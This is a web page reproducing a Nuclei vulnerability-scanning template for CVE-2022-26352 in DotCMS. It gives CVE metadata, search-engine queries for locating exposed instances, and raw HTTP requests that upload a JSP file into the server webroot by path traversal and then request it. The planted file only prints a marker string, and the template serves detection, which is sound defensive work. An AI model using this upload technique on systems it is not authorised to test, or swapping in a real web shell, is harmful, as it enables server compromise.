DotCMS - Arbitrary File Upload

ID: CVE-2022-26352

Severity: critical

Author: h1ei1

Tags: cve,cve2022,packetstorm,rce,dotcms,kev,fileupload,intrusive

Description

DotCMS management system contains an arbitrary file upload vulnerability via the /api/content/ path which can allow attackers to upload malicious Trojans to obtain server permissions.

YAML Source

id: CVE-2022-26352

info:
  name: DotCMS - Arbitrary File Upload
  author: h1ei1
  severity: critical
  description: DotCMS management system contains an arbitrary file upload vulnerability via the /api/content/ path which can allow attackers to upload malicious Trojans to obtain server permissions.
  impact: |
    Successful exploitation of this vulnerability can lead to remote code execution, compromising the confidentiality, integrity, and availability of the affected system.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix this vulnerability.
  reference:
    - https://blog.assetnote.io/2022/05/03/hacking-a-bank-using-dotcms-rce/
    - https://github.com/h1ei1/POC/tree/main/CVE-2022-26352
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-26352
    - http://packetstormsecurity.com/files/167365/dotCMS-Shell-Upload.html
    - https://groups.google.com/g/dotcms
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-26352
    cwe-id: CWE-22
    epss-score: 0.97476
    epss-percentile: 0.99967
    cpe: cpe:2.3:a:dotcms:dotcms:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: dotcms
    product: dotcms
    shodan-query: http.title:"dotcms"
    fofa-query: title="dotcms"
    google-query: intitle:"dotcms"
  tags: cve,cve2022,packetstorm,rce,dotcms,kev,fileupload,intrusive

http:
  - raw:
      - |
        POST /api/content/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=------------------------aadc326f7ae3eac3

        --------------------------aadc326f7ae3eac3
        Content-Disposition: form-data; name="name"; filename="../../../../../../../../../srv/dotserver/tomcat-9.0.41/webapps/ROOT/{{randstr}}.jsp"
        Content-Type: text/plain

        <%
        out.println("CVE-2022-26352");
        %>
        --------------------------aadc326f7ae3eac3--
      - |
        GET /{{randstr}}.jsp HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body_2, "CVE-2022-26352")'
          - 'status_code_2 == 200'
        condition: and
# digest: 4a0a00473045022029d200e65b055a99805ef56baeb5453f44cd791c70e186ea1e049d8025ebadc7022100ce1bf8eb3528b553d59e84e1290ea2bdb0cb2f8c736653a92ad684db7fc16bc0:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-26352.yaml"

View on Github